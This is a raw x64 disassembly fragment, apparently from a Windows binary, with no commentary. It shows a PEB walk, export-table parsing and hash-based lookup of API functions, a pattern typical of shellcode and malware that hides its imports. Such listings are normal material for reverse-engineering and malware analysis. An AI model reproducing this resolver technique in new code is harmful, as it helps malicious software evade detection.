cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140011750
cmp r10d, 0xe71d7b66
je 0x140011791
test r11d, r11d
jne 0x140011730
mov rax, qword [rax]
jmp 0x140011700
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov edx, dword [rcx + rax*4]
add rdx, rbx
mov rcx, qword [rbp - 0x30]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140011859
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140011859
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x75dfa1aa
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140011854
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140011820
cmp r10d, 0x8ce90320
je 0x140011861
test r11d, r11d
jne 0x140011800
mov rax, qword [rax]
jmp 0x1400117d0
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov edx, dword [rcx + rax*4]
add rdx, rbx
mov rcx, r15
call rdx
nop
mov rbx, qword [rsp + 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x1400118bf
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400118ba
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140011950
mov rcx, r8
call fcn.140075590
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rbx, qword [rbp - 0x78]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140011908
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140011903
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140011957
mov rcx, r8
call fcn.140075590
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.140075200
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x58]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140003640
int3